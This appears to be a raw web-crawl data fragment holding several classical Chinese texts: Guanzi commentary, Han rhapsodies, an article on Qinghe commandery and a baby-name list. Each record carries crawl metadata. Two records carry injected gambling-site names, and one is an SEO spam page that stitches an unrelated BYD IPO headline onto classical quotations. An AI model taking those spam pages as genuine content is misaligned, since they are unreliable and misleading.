滿者與天。\n明主救天下之禍。安天下之危者也。必待萬民之爲用也。而後能爲之。故曰。安危者與人。地大國富。民衆兵强。此盛滿之國也。雖已盛滿。無德厚以安之。無度數以治之。則國非其國。而民非其民也。故曰。失天之度。雖滿必涸。臣不親其主。百姓不信其吏。上下離而不和。故雖自安。必且危之。故曰。上下不和。雖安必危。\n古者。三王五伯。皆人主之利天下者也。故身貴顯而子孫被其澤。桀、紂、幽、厲。皆人主之害天下者也。故身困傷而子孫蒙其禍。故曰。疑今者察之古。不知來者視之往。\n古者。武王地方不過百里。戰卒之衆不過萬人。然能戰勝攻取。立爲天子。而世謂之聖王者。知爲之術也。桀、紂貴爲天子。富有海内。地方甚大。戰卒甚衆。然而身死國亡。爲天下戮者。不知爲之術也。故能爲之則小可以爲大。賤可以爲貴。不能爲之。則雖爲天子。人猶奪之。\n明主度量人力之所能爲而後使焉。故令於人之所能爲則令行。使於人之所能爲則事成。亂主不量人力。令於人之所不能爲。故其令廢。使於人之所不能爲。故其事敗。夫令出而廢。舉事而敗。此强不能之罪也。\n明主不用其智而任聖人之智。不用其力而任衆人之力。故以聖人之智思慮者。無不知也。以衆人之力起事者。無不成也。能自去而因天下之智力起。則身逸而福多。亂主獨用其智而不任聖人之智。獨用其力。而不任衆人之力。故其身勞而禍多。故曰。獨任之國(國舊作圖。改之)。勞而多禍。\n明主者。人未之見。而皆有親心焉者。有使民親之之道也。故其位安而民往之。故曰。未之見而親焉。可以往矣。\n人主出言不逆於民心。不悖於理義。其所言足以安天下者也。人唯恐其不復言也。出言而離父子之親。疏君臣之道。害天下之衆。此言之不可復者也。故明君不言也。\n人主身行方正。使人有理。遇人有禮。行(舊無行字。補之)發於身。而爲天下法式。人唯恐其不復行也。身行不正。使人暴虐。遇人不信。行發於身。而爲天下笑者。此不可復之行也。故曰。行而不可再者。君不行也。\n言之不可復者。其言不信也。行之不可再者。其行暴賊也。故言而不信。則民不附。行而暴賊。則天下怨。民不附。天下怨。此滅亡之所從生也。故明主禁之。故曰。凡言行之不可復者。有國者之大禁也。\n板法解\n治國有三器。亂國有六攻。明君能勝六攻而立三器。故國治。不肖君不能勝六攻而立三器。故國不治。三器者何也。曰。號令也。斧鉞也。禄賞也。六攻者何也。曰。親也。貴也。貨也。色也。巧佞也。玩好也。三器之用何也。曰。非號令無以使下。非斧鉞無以威衆。非禄賞無以勸民。六攻之敗何也。曰。雖不聽而可以得存。雖犯禁而可以得免。雖無功而可以得富。夫國有不聽而可以得存者。則號令不足以使下。有犯禁而可以得免者。則斧鉞不足以威衆。有無功而可以得富者。則禄賞不足以勸民。號令不足以使下。斧鉞不足以威衆。禄賞不足以勸民。則人君無以自守也。\n明法解\n明主者。審於法禁而不可犯也。察於分職而不可亂也。故群臣不敢行其私。貴臣不得蔽賤。近者不得塞遠。孤寡老弱。不失其職。此之謂治國。故曰。所謂治國者。主道明也。\n法度者。主之所以制天下而禁奸邪也。私意者。所以生亂長奸而害公正也。故法度行則國治。私意行則國亂。明主雖心之所愛而無功者弗賞也。雖心之所憎而無罪者弗罰也。案法式而驗得失。非法度不留意焉。故曰。先王之治國也。不淫意於法之外。\n明主之治國也。案賞罰(賞罰作其當宜)。行其正理。其當賞者。群臣不得辭也。其當罰者。群臣弗敢避也。夫賞功誅罪者。所以爲天下致利除害也。草茅弗去。則害禾穀。盗賊弗誅。則傷良民。夫舍公法而行私惠。則是利奸邪而長暴亂也。行私惠而賞無功。則是使民偷幸而望於上也。行私惠而赦有罪。則是使民輕上而易爲非也。夫舍公法。用私惠。明主弗爲也。故曰。不爲惠於法之内。\n權衡者。所以起輕重之數也。然而人弗事者。非心惡利也。權不能爲之多少其數。而衡不能爲之輕重其量也。人知事權衡之無益。故弗事也。故明主在上位。則官不得枉法。吏不得爲私。民知事吏之無益。故貨財不行於吏。權衡平正而待物。故奸詐之人不得行其私。故曰。有權衡之稱者。不可欺以輕重也。\n尺寸尋丈者。所以得短長之情也。故以尺寸量短長。則萬舉而萬不失矣。是故尺寸之度。雖富貴衆强。不爲益長。雖卑辱貧賤。弗爲損短。公平而無所偏。故奸詐之人弗能誤也。故曰。有尋丈之數者。不可差以長短。\n凡所謂忠臣者。務明法術。日夜佐主明於度數之理以治天下者也。奸邪之臣。知法術明之必治也。治則奸臣困而法術之士顯。是故奸邪之所務事者。使法無明。主無寤。而己得所欲也。故方正之臣得用。則奸邪之臣困傷矣。是方正之與奸邪。不兩進之勢也。奸邪之在主之側者。不能勿惡之。惟惡之則必候主間而日夜危之。人主弗察而用其言。則忠臣無罪而困死。奸臣無功而富貴。故曰。忠臣死於非罪。而邪臣起於非功。\n富貴尊顯。久有天下。人主莫弗欲也。令行禁止。海内無敵。人主莫弗欲也。蔽欺侵陵。人主莫不惡也。失天下。滅宗廟。人主莫不惡也。忠臣之欲明法術。以致主之所欲。而除主之所惡者也。奸臣之擅主也。有以私危之。則忠臣無從進其公正之數矣。故曰。所死者非罪。所起者非功。然則爲人臣者重私而輕公矣。\n明主之擇賢人也。言勇者試之以軍。言智者試之以官。試於軍而有功者則舉之。試於官而事治者則用之。故以戰攻之事定勇怯。以官職之治定愚智。故勇怯愚智之見也。如白黑之分。亂主則不然。聽言而不試。故妄言者得用。任人而不課。故不肖者不困。故明主以法案其言而求其實。以官任其身而課其功。專任法不自舉焉。故曰。先王之治國也。使法擇人。弗自舉也。\n凡所謂功者。安主上。利萬民者也。夫破軍殺將。戰勝攻取。使主無危亡之憂。而百姓無死虜之患。此軍士之所以爲功者也。奉主法。治境内。使强不凌弱。衆不暴寡。萬民歡盡其力。而奉養其主。此吏之所以爲功也。匡主之過。救主之失。明理義以導其主。主無邪僻之行。蔽欺之患。此臣之所以爲功也。故明主之治也。明分職而課功勞。有功者賞。亂治者誅。誅賞之所加。各得其宜。而主不自與焉。故曰。使法量功。不自度也。\n明主之治也。審是非。察事情。以度量案之。合於法則行。不合於法則止。功充其言則賞。不充則誅。故言智能者。必有見功而後舉之。言惡敗者。必有見過而後廢之。如此。則士上通而莫之能妒。不肖者困廢而莫之能舉。故曰。能不可蔽。而敗不可飾也。\n輕 重\n管子入復桓公曰。終歲之租金四萬二千金。請以一朝素賞軍士。桓公即(即作曰)。諾。期於泰舟之野朝軍士。桓公即壇而立。管子執枹而揖軍士曰。誰能陷陣破衆者。賜之百金。三問不對。有一人秉劍而前。問曰。幾何人之衆也。管子曰。千人之衆。曰。千人之衆。臣能陷之。賜之百金。管子又曰。兵接弩張。誰能得卒長者。賜之百金。問曰。幾何人卒之長也。管子曰。千人之長。千人之長(舊無千人之長四字。補之。千人上疑脱曰字)。臣能得之。賜之百金。管子又曰。誰能聽旌旗之所指。而得執將首者。賜之千金。言能得者累千人。賜之人千金。其餘言能外斬首者。賜之人十金。一朝素賞四萬二千金。廓然虚。\n桓公惕然大息曰。吾曷以識此。管子曰。君勿患。且使外爲名於其内。鄉爲功於其親。家爲德於其妻子。若此。則士必争名報德。無北之意矣。吾舉兵而攻。破其軍。并其地。則非特四萬二千金之利也。公曰。諾。\n乃戒大將曰。百人之長。必爲之朝禮。千人之長。必拜而送之。降兩級。其有親戚者。必遺之酒四石、肉四鼎。其無親戚者。必遺其妻子酒三石、肉三鼎。行教半歲。父教其子。兄教其弟。妻諫其夫。曰。見禮若此。不死列陣。可以反於鄉乎。\n桓公終舉兵攻萊。戰於莒。鼓旗未相望。而萊人大遁。故遂破其軍。兼其地而虜其將。故未列地而封。未出金而賞。破萊軍。并其地。禽其君。此素賞之計也。","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/www.qunshuzhiyao.com\/zywenku\/zhgj0022043.html","date":"2017-04-24T03:31:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917118963.4\/warc\/CC-MAIN-20170423031158-00415-ip-10-145-167-34.ec2.internal.warc.gz","language":"lzh","language_score":0.659291923,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6592919230461121, \"cmn_Hani_score\": 0.17538754642009735, \"nan_Hani_score\": 0.08530574291944504, \"jpn_Jpan_score\": 0.028017200529575348, \"wuu_Hani_score\": 0.01628582365810871}","num_words":105,"character_repetition_ratio":0.006,"word_repetition_ratio":0.0,"special_characters_ratio":0.175,"stopwords_ratio":0.029,"flagged_words_ratio":0.0,"lang_id_score":0.659,"perplexity_score":500.0,"cluster_detection":1} +{"text":"四川时时彩11选5开奖结果 www.qokyd.tw 新的一年到来了,很多准妈妈准爸爸还在为自己的宝宝名字苦恼,小编给大家整理了一些2017年给秦姓宝宝起个好名字,姓秦取名内涵诗意名字,一起看看吧,更多相关资讯请继续关注518大学生网。\n给秦姓宝宝起个好名字\n秦泽岚 秦文斌 秦宏伯 秦若圻 秦烨炯 秦欣鸿 秦楚晨 秦玉剑 秦亦凡 秦玮哲 秦彦涵 秦哲斌 秦名鑫 秦政德 秦晖承 秦润语 秦承兴 秦伟成 秦飞月 秦向辉 秦尚弘 秦兴辰 秦政予 秦庆涵 秦语桢 秦凯乐 秦兴月 秦浚龙 秦迪生 秦敏辉 秦艺舒 秦鸿康 秦家言 秦梦轩 秦志和 秦万平 秦闻韬 秦振宁 秦继伟 秦予涵 秦博士 秦浩鑫 秦亦煊 秦志岳 秦轩益 秦鸿仪 秦韬霖 秦浩君 秦入懿 秦岩卿 秦智捷 秦羽明 秦烨腾 秦烨泫 秦语晰 秦彬航 秦琼铭 秦歆源 秦高朋 秦颢韬 秦奕祯 秦景彦 秦缘新 秦泓晖 秦国晟 秦函启 秦飞晨 秦瑞海 秦玉书 秦俊哲 秦文若 秦新康 秦家行 秦添翔 秦浩旷 秦冠泽 秦梓灏 秦少安 秦楷金 秦鑫懿 秦国明 秦昱恒 秦景翔 秦岚润 秦文涛 秦元辉 秦弈宇 秦梓荣 秦如嘉 秦英韶 秦文玮 秦智锐 秦子桓 秦修杰 秦业浩 秦彦基 秦思易 秦畅誉 秦笑言 秦威浩 秦力宸 秦祥瑞 秦辰明 秦易鑫 秦衡宇 秦颢炜 秦书恒 秦嘉木 秦路遥 秦雍志 秦鸿名 秦岳荣 秦永鹏 秦宗圣 秦翊阳 秦璟程 秦成双 秦毅达 秦祥雨 秦沛天 秦诗睿 秦思锐 秦振年 秦友利 秦俊钦 秦军辉 秦梓成 秦昊曦 秦骏彬 秦玮博 秦博彬 秦语文 秦力强 秦文伟 秦高翰 秦浩峰 秦盛志 秦文晋 秦竞元 秦昊孺 秦汇康 秦晖岚 秦锦途 秦文敏 秦时轩 秦锦岚 秦颢歌 秦悦升 秦世伟 秦羽凡 秦泓元 秦启博 秦子歆 秦凯非 秦兆安 秦英范 秦浚儒 秦杰远 秦裕杰 秦易琛 秦哲凡 秦邦慧 秦名哲 秦艺遥 秦飞航 秦达裕 秦咏颢 秦如峰 秦洋阳 秦宗元 秦意好 秦益聪 秦晟炜 秦延福 秦铭华 秦恩健 秦志程 秦聪越 秦思嘉 秦忆之 秦泽予 秦焜晨 秦奇玮 秦诗颐 秦和泽 秦浩刚 秦喆晗 秦书源 秦欣然 秦罡宇 秦格逸 秦佳浩 秦熠畅 秦凯捷 秦宇政 秦宇梁 秦泓毅 秦闻竹 秦文弛 秦炜欣\n姓秦取名内涵诗意名字\n秦元舒 秦韵琴 秦舒月 秦忻旭 秦舒妃 秦婌谣 秦蕊妍 秦雯绎 秦函舒 秦雯颐 秦贞玥 秦如函 秦歆淇 秦亦筝 秦千琴 秦曼兴 秦雅颖 秦依梅 秦姝玥 秦妘采 秦姌玥 秦语嫒 秦义岚 秦玥茗 秦如忆 秦姝萧 秦茹妤 秦淑贞 秦宇知 秦煊函 秦忻微 秦汶涵 秦妤昔 秦舒逸 秦遥书 秦欣童 秦纾渲 秦美琳 秦郁暄 秦羽茗 秦煜甜 秦承颖 秦羽儒 秦江蓉 秦婵涵 秦梦萧 秦莉娇 秦新文 秦宇琴 秦晗弈 秦书秋 秦美洳 秦琴宸 秦秋萱 秦流如 秦遥聪 秦滢艺 秦春哲 秦文潇 秦晨儒 秦莉歆 秦婌琳 秦诗宛 秦海云 秦捷玥 秦姝翌 秦抒轩 秦菡琪 秦如萍 秦蕊彤 秦臆芹 秦兴瑶 秦瑞莹 秦晨莹 秦函莺 秦扬言 秦心竹 秦宣婌 秦立琳 秦舒美 秦姌诗 秦云昱 秦诗逸 秦暄语 秦静函 秦烨琴 秦友琴 秦羽潼 秦舒艳 秦煜茹 秦昕嫣 秦媛宁 秦悠茹 秦煦文 秦谣岚 秦忻恣 秦昱元 秦纯煜 秦斐暄 秦婉晗 秦晨媛 秦升焓 秦语郁 秦薇蕊 秦宸航 秦晨茹 秦雪琀 秦琀育 秦嘉婼 秦在忻 秦淑雯 秦雨晔 秦昕愉 秦绮文 秦珉遥 秦书采 秦玉萱 秦莹玥 秦滢瑶 秦莹婌 秦遥文 秦欣梦 秦茹宁 秦岚玥 秦晴含 秦馨颔 秦云瑷 秦韵文 秦焓婉 秦莹弈 秦宇妍 秦黛慧 秦淑歆 秦嘉睫 秦美蕊 秦惜暄 秦淑译 秦宛暄 秦妍晴 秦舒懿 秦秀缘 秦乐翘 秦语弛 秦湘曼 秦筱雨 秦言艺 秦诗捷 秦羽飞 秦茹函 秦芩诗 秦含心 秦昕娅 秦汝依 秦萱婷 秦希妍 秦舒如 秦霏函 秦雯钰 秦云妤 秦含芙 秦淑皓 秦涵静 秦熙琴 秦昱玲 秦轩宇 秦滢洁 秦熙旻 秦逍彤 秦涵逸 秦芯岚 秦妘玥 秦如煜 秦宸潞 秦倩润 秦艺歆 秦纯颢 秦姝萌 秦静晗 秦淑翔 秦晨婌 秦雅婌 秦清逸 秦昕懿 秦梓倩 秦遥林 秦沛睿 秦尔文 秦芹阳 秦菡宁 秦歆年 秦雨衣 秦育芯 秦耘名 秦依玥 秦丽琴 秦玥戎 秦金新 秦昔汝 秦云婕 秦芩函\nCopyright © 2016 大学生校内网 四川时时彩11选5开奖结果. All rights reserved.\n本网提供:大学生新闻、社会实践报告、就业实习、论文学习、校园资讯","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/www.qokyd.tw\/fangwensucai\/538149.html","date":"2019-06-16T08:52:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627998084.36\/warc\/CC-MAIN-20190616082703-20190616104703-00345.warc.gz","language":"lzh","language_score":0.9999444485,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9999444484710693}","num_words":412,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"澳门大三巴网站消息称比亚迪考虑让绝缘栅双极型晶体管业务进行IPO\n子曰:\"射不主皮,为力不同科,古之道也。\"\n制曰:\"朕不忍致法於王,其与列侯二千石议。\"\n且吾闻之,规小节者不能成荣名,恶小耻者不能立大功。昔者管夷吾射桓公中其钩,篡也;遗公子纠不能死,怯也;束缚桎梏,辱也。若此三行者,世主不臣而乡里不通。乡使管子幽囚而不出,身死而不反於齐,则亦名不免为辱人贱行矣。臧获且羞与之同名矣,况世俗乎!故管子不耻身在縲绁之中而耻天下之不治,不耻不死公子纠而耻威之不信於诸侯,故兼三行之过而为五霸首,名高天下而光烛邻国。曹子为鲁将,三战三北,而亡地五百里。乡使曹子计不反顾,议不还踵,刎颈而死,则亦名不免为败军禽将矣。曹子弃三北之耻,而退与鲁君计。桓公朝天下,会诸侯,曹子以一剑之任,枝桓公之心於坛坫之上,颜色不变,辞气不悖,三战之所亡一朝而复之,天下震动,诸侯惊骇,威加吴、越。若此二士者,非不能成小廉而行小节也,以为杀身亡躯,绝世灭後,功名不立,非智也。故去感忿之怨,立终身之名;弃忿悁之节,定累世之功。是以业与三王争流,而名与天壤相弊也。原公择一而行之。\n或曰\"东方物所始生,西方物之成孰\"。夫作事者必於东南,收功实者常於西北。故禹兴於西羌,汤起於亳,周之王也以丰镐伐殷,秦之帝用雍州兴,汉之兴自蜀汉。\n万物变化兮,固无休息。斡流而迁兮,或推而还。形气转续兮,变化而嬗。沕穆无穷兮,胡可胜言!祸兮福所倚,福兮祸所伏;忧喜聚门兮,吉凶同域。彼吴彊大兮,夫差以败;越栖会稽兮,句践霸世。斯游遂成兮,卒被五刑;傅说胥靡兮,乃相武丁。夫祸之与福兮,何异纠纆。命不可说兮,孰知其极?水激则旱兮,矢激则远。万物回薄兮,振荡相转。云蒸雨降兮,错缪相纷。大专槃物兮,坱轧无垠。天不可与虑兮,道不可与谋。迟数有命兮,恶识其时?","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/xyyqf.wristbands4less.com\/FULMD71693.html","date":"2020-02-19T05:13:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875144027.33\/warc\/CC-MAIN-20200219030731-20200219060731-00135.warc.gz","language":"lzh","language_score":0.3956404328,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.39564043283462524, \"cmn_Hani_score\": 0.38366642594337463, \"nan_Hani_score\": 0.05183469504117966, \"wuu_Hani_score\": 0.04599126800894737, \"zxx_Latn_score\": 0.012760660611093044, \"jpn_Jpan_score\": 0.01023840717971325}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.278,"perplexity_score":500.0,"cluster_detection":1} +{"text":"發內。或輦賄而違車兮,孕行產而為對。慎竈顯於言 天兮,占水火而妄訊。梁叟患支黎丘兮,丁厥子而剚 刃。親所睼而弗識兮,矧幽冥之可信。無綿攣以涬己 兮,思百憂以自疹。彼天監之孔明兮,用棐忱而祐仁。 湯蠲體以禱祈兮,蒙厖褫以拯民。景三慮以營國兮, 熒惑次於他辰。魏顆亮以從治兮,鬼亢回以斃秦。「咎 繇邁而種德兮,樹德懋於英六。桑末寄夫根生兮,卉 既彫而已育。有無言而不酬兮,又何往而不復?盍遠 跡以飛聲兮,孰謂時之可蓄?」仰矯首以遙望兮,魂𢠳 惘而無儔。逼區中之隘陋兮,將北度而宣游。行積冰 之皚皚兮,清泉冱而不流。寒風凄而永至兮,拂穹岫 之騷騷。元武縮於殼中兮,螣蛇蜿「而自糾。魚矜鱗而 并淩兮,鳥登木而失條。坐太陰之屏室兮,慨含欷而 增愁。」《怨高陽》之相寓兮, 顓頊而宅幽。庸織路於四 裔兮,斯與彼其何瘳?望寒門之絕垠兮,縱余紲乎不 周。迅猋潚其媵我兮,騖翩飄而不禁。《越谽》 之洞穴 兮,漂通川之碄碄。經重陰乎寂寞兮,愍墳羊之潛深。 追荒忽於地底兮,軼無形而上浮。出石密之闇野兮, 不識蹊之所由。速燭龍令執炬兮,過鍾山而中休。瞰 瑤谿之赤岸兮,弔祖江之見劉。聘王母於銀臺兮,羞 玉芝以療飢。戴勝憖其既歡兮,又誚余之行遲。載太 華之玉女兮,召洛浦之虙妃。咸姣麗以蠱媚兮,增嫮 眼而蛾眉,舒訬婧之纖腰兮,揚雜錯之褂徽,離朱脣 而微笑兮,顏的礫以遺光。獻環琨與琛縭兮,申厥好 之元黃,雖色艷而賂美兮,志浩蕩而不嘉,雙材悲於 不納兮,並詠詩而清歌。歌曰:「天地絪縕,百卉含葩,鳴 鶴交頸,雎鳩相和,處子懷春,精魂回移,如何淑明,忘 我實多,將答賦而不暇兮,爰整駕而亟行。」瞻崑崙之 巍巍兮,臨縈河之洋洋。伏靈龜以負坻兮,亙螭龍之 飛梁。登閬風之層城兮,構不死而為床。屑瑤蕊以為 餱兮,㪺白水以為漿。抨巫咸使占夢兮,乃貞吉之元 符。滋令德於正中兮,含嘉秀以為敷。既垂穎而顧本 兮,亦要思乎故居。安和靜而隨時兮,姑純懿之所廬。 戒庶寮以夙會兮,僉供職而並迓。豐隆軯其震霆兮, 列缺曄其照夜雲。師 以交集兮,凍雨沛其灑塗。轙 琱輿而樹葩兮,擾應龍以服輅。百神森其備從兮,屯 騎羅而星布。振余袂而就車兮,修劎揭以低昂。冠嵒 嵒其映蓋兮,佩綝纚以輝煌。僕夫儼其正策兮,八乘 騰而超驤。氛旄溶以天旋兮,蜺旌飄以飛颺。撫軨軹 而還睨兮,心勺。 「其若湯。」羨上都之赫戲兮,何迷故 而不忘?左青琱之犍芝兮,右素威以司鉦。前長離使 拂羽兮,後委水衡乎元冥。屬箕伯以函風兮,澄淟涊 而為清。曳雲旗之離離兮,鳴玉鸞之譻譻。涉清霄而 升遐兮,浮蠛蠓而上征。紛翼翼以徐戾兮,焱回回其 揚靈。叫帝閽使闢扉兮,覿天皇於瓊宮。聆廣樂之九 奏兮,展洩洩以肜肜。考治亂於律均兮,意建始而思 終。惟《般逸》之無斁兮,懼樂往而哀來。素女撫絃而餘 音兮,太容吟曰「念哉!既防溢而靖志兮,迨我暇以翱 翔。」出紫宮之肅肅兮,集太微之閬閬。命王良掌策駟 兮,踰高閣之將將。建罔車之幕幕兮,獵青林之芒芒。 彎威弧之拔刺兮,射嶓冢之封狼。觀壁壘於北落兮, 伐河鼓之磅硠。乘天潢之汎汎兮,浮雲漢之湯湯。倚 招搖攝提以低回, 流兮,察二紀五緯之綢繆。遹皇 偃蹇夭矯娩以連卷兮,雜沓叢顇颯以方驤。戫汨《飂 戾》沛以罔象兮,爛漫麗靡藐以迭逿凌驚雷之 磕 兮,弄狂電之淫裔。踰濛鴻於宕冥兮,貫倒景而高厲。 廓盪盪其無涯兮,乃今窺乎天外。據開陽而頫視兮, 臨舊鄉之暗譪。悲《離居》之勞心兮,情悁悁而思歸。魂 眷眷而屢顧兮,馬倚輈而徘徊。雖遨遊以媮樂兮,豈 愁慕之可懷?出閶闔兮降天途,乘焱忽兮馳虛無。雲 霏霏兮繞余輪,風眇眇兮震余旟。繽聯翩兮紛暗曖, 儵眩眃兮反常閭。收疇昔之逸豫兮,卷淫放之遐心。 修初服之娑娑兮,長余佩之參參。文章煥以粲爛兮, 美紛紜以從風。御六藝之珍駕兮,遊道德之平林。結 典籍而為罟兮,敺儒墨而為禽。玩陰陽之變化兮,詠 《雅》《頌》之徽音。嘉曾氏之歸耕兮,慕《歷阪》之欽崟。恭夙 夜而不貳兮,固終始之所服。夕惕「若厲以省愆兮,懼 余身之未敕。苟中情之端直兮,莫吾知而不恧。默無 為以凝志兮,與仁義乎逍遙。不出戶而知天下兮,何 必歷遠以劬勞。」《系》曰:「天長地遠歲不留,俟河之清祇 懷憂,願得遠渡以自娛。上下無常窮六區,超踰騰躍 絕世俗,飄颻神舉逞所欲。天不可階仙夫稀。柏舟悄 悄吝不飛,松喬高」跱孰能離。結精遠遊使心攜,迴志 朅來從元謀,獲我所求夫何思。\n《慰志賦》崔篆\n嘉昔人之遘辰兮,美伊傅之遻時。應規矩之淑質兮, 過班倕而裁之。協準矱之貞度兮,同斷金之元策。何 天道於盛世兮,超千載而垂績?豈修德之極致兮,將 天祚之攸適。愍余生之不造兮,丁漢氏之中微。氛霓 鬱以橫厲兮,羲和忽以潛暉。六柄制於家門兮,王綱 摧以陵遲。黎共奮以跋扈兮,羿浞狂以恣睢。睹慢藏","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/zh.m.wikisource.org\/wiki\/Page:Gujin_Tushu_Jicheng,_Volume_390_(1700-1725).djvu\/8","date":"2020-08-13T12:00:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738982.70\/warc\/CC-MAIN-20200813103121-20200813133121-00431.warc.gz","language":"lzh","language_score":0.7153152227,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.7153152227401733, \"cmn_Hani_score\": 0.1118578389286995, \"nan_Hani_score\": 0.09599582850933075, \"yue_Hani_score\": 0.012690121307969093}","num_words":87,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.189,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.478,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ⓘ 清河郡\n清河郡 ,漢高帝時置。王莽改曰平河郡。屬冀州刺史部。西漢領縣十四。東漢曰清河國。建和二年,稱甘陵。領縣七。晉世統縣六。仍稱國。北魏之世,領四縣。復有南清河郡。北周置貝州。至隋世,復領十四縣。開皇初,廢郡。本郡東武城縣有士族清河崔氏。\n1. 縣\n- 復陽縣:王莽稱樂歲。\n- 信鄉國:候國\n- 東陽國:候國,王莽稱胥陵,開皇六年復置,改名漳南縣。\n- 經城縣:北齊時廢,開皇六年復置。十六年分置府城縣,後省。\n- 鄃縣:王莽稱善陸。後廢,開皇十六年復置。\n- 靈縣:王莽稱播縣。大業初省入博平縣\n- 繚縣\n- 東武城縣:北魏稱武城。隋開皇初改爲清河縣,別置武城縣。開皇十六年分武城置曆亭縣。\n- 清陽縣:西漢郡治。\n- 茌平縣\n- 廣川縣:東漢時屬清河郡。\n- 廣宗縣:仁壽元年改宗城縣。\n- 厝縣:王莽稱厝治,漢安帝朝改名甘陵。後改清河。\n- 繹幕縣:北魏時屬安德郡。\n- 莎題縣\n- 棗強縣:東漢廢置,晉時屬廣川。北魏屬廣川。\n- 貝丘縣:西漢時爲都尉治,開皇六年,改名清陽縣。\n- 信成縣\n- 博平縣:大業初,靈縣省入此縣,\n2. 據\n- 漢書卷二十八上\n- 魏書卷百〇六上\n- 續漢書志第二十\n- 隋書卷三十\n- 清河 大房 清河 小房 清河 青州房列禁婚家 東祖: 崔恪子崔雙之後 西祖: 崔恪子崔邯之後 南祖: 崔恪子崔寓之後 烏水房: 崔怡子曠居齊 郡 烏水 稱烏水房 清河 大房: 崔宗伯子崔休之後 清河 小房: 崔宗伯子崔夤之後 清河 青州房: 崔瓊子崔輯之後 鄭州崔氏: 崔顗子崔蔚之後\n- 崔休字惠盛 清河 郡 武城人也 世為大族 休妹 魏孝文帝之嬪也 休與宋弁 邢巒之輩相交遊 孝文帝嘗以禮遇之 帝南伐 以休為尚書左丞留後 尋除渤海太守 所在有治聲 時有張吾貴者 山東大儒也 從學者漸眾 休乃設食接風 待使肄業而還 儒者稱之 休與諸王密交 孝文帝惡之 免官 尋拜河南尹 官及度支 七兵 殿中\n- 崔毖 清河 郡 東武城人 魏崔琰之曾孫 晉平州刺史 東夷校尉也 五胡亂華 毖以所在偏遠 欲自立 詔流亡者 未有赴之 毖疑乃慕容廆之故 乃陰結鮮卑宇文 段部并高句麗以擊廆 慕容廆閉門不戰 且以使告三國曰 崔毖昨有使至 段 高句麗惑 遂不信毖而引去 宇文部欲掠地 仍不歸 廆乃出兵擊敗之 詰其故 皆曰 崔平\n- 藤原 清河 中大將房前第四子也 天平中 為中務少輔 遷大養德守 天平勝寶元年 拜參議 二年 為遣唐大使 四年 授節刀赴唐 至難波 孝謙天皇遣高麗福信 犒以酒肉 賜御製歌 至長安 見唐玄宗 玄宗曰 聞彼國有賢君 今觀使者 趍揖有異 乃號日本 為禮儀君子國 命阿倍仲麻呂 導 清河\n- 崔琰字季珪 清河 郡 武城人也 少好擊劍 未務正業也 年二十九 就北海鄭玄以學 學未肄 黃巾亂起 琰遂周遊諸州 凡四年乃歸家 琰初為漢大將軍袁紹所辟 及官渡之役 琰諫曰不可與曹操戰 紹不從 後果敗 曹操既破袁紹 辟琰別駕從事 琰美須髯 甚有威重 事操不懼其位 屢直言 操北征并州 烏桓 以琰傅其子丕 琰\n- 爲白馬之禍 五代訖宋初 猶有名門列朝者 以降不見史傳 關中 郡 姓 河東裴氏 弘農楊氏 京兆韋氏 京兆杜氏 河東柳氏 河東薛氏 山東 郡 姓 清河 崔氏 博陵崔氏 范陽盧氏 太原王氏 隴西李氏 趙 郡 李氏 滎陽鄭氏 僑姓 琅琊王氏 陳 郡 謝氏 陳 郡 袁氏 蘭陵蕭氏 吳姓 吳郡顧氏 吳郡陸氏 吳郡朱氏 吳郡張氏\n- 山東 古東夷之所居 周代商立 封齊魯於斯 小國受封者凡五十五 秦既混一宇內 始皇帝乃封禪於泰山 漢興 置青州 兗州 徐州 琅邪 清河 泰山諸 郡 皆衣冠世族之望 魏晉南北朝 山東多遭喪亂 唐克定天下 屬河南道 唐室衰 為淄青平盧節度使所據凡六十載 宋興 屬京東東路 金析為山東東路 山東\n- 子 漢河間獻王 德 子 漢臨江哀王 閼 妻 程姬 子 漢魯恭王 餘 子 漢江都易王 非 子 漢膠西于王 端 妻 賈夫人 子 漢趙敬肅王 彭祖 子 漢中山靖王 勝 妻 唐姬 子 漢長沙定王 發 妻 王夫人 子 漢廣川惠王 越 子 漢膠東康王 寄 子 漢 清河 哀王 乘 子 漢常山憲王 舜 漢書 景帝紀\n- 明亡 滿清入關 屬直隸省 中華民國之時 分屬察哈爾 熱河 河北三省 中華人民共和國之時 始成今制 河北東濱渤海 西依太行 南為平川 北連高原 其水大 清河 子牙河 永定河 拒馬河等 皆入海河 其山 太行為最大 又有燕山亙於冀北 其湖有白洋澱 衡水湖 河北之民 可六千七百六十九萬口 西元二〇〇三年所計\n- 黎景熙 字季明 河間 郡 鄚縣人也 少以字行於世 少好讀書 性強記默識 而無應對之能 從祖父習古文字 在此承繼學問 嘗從吏部尚書 清河 崔玄伯受字義 又從司徒崔浩學楷書 隸書 自是家傳其法 又好天文 玄象 頗知術數 而落魄不事生業 有書千餘卷 雖窮居獨處 不以饑寒易操 有一莫逆之友 范陽盧道源 周書 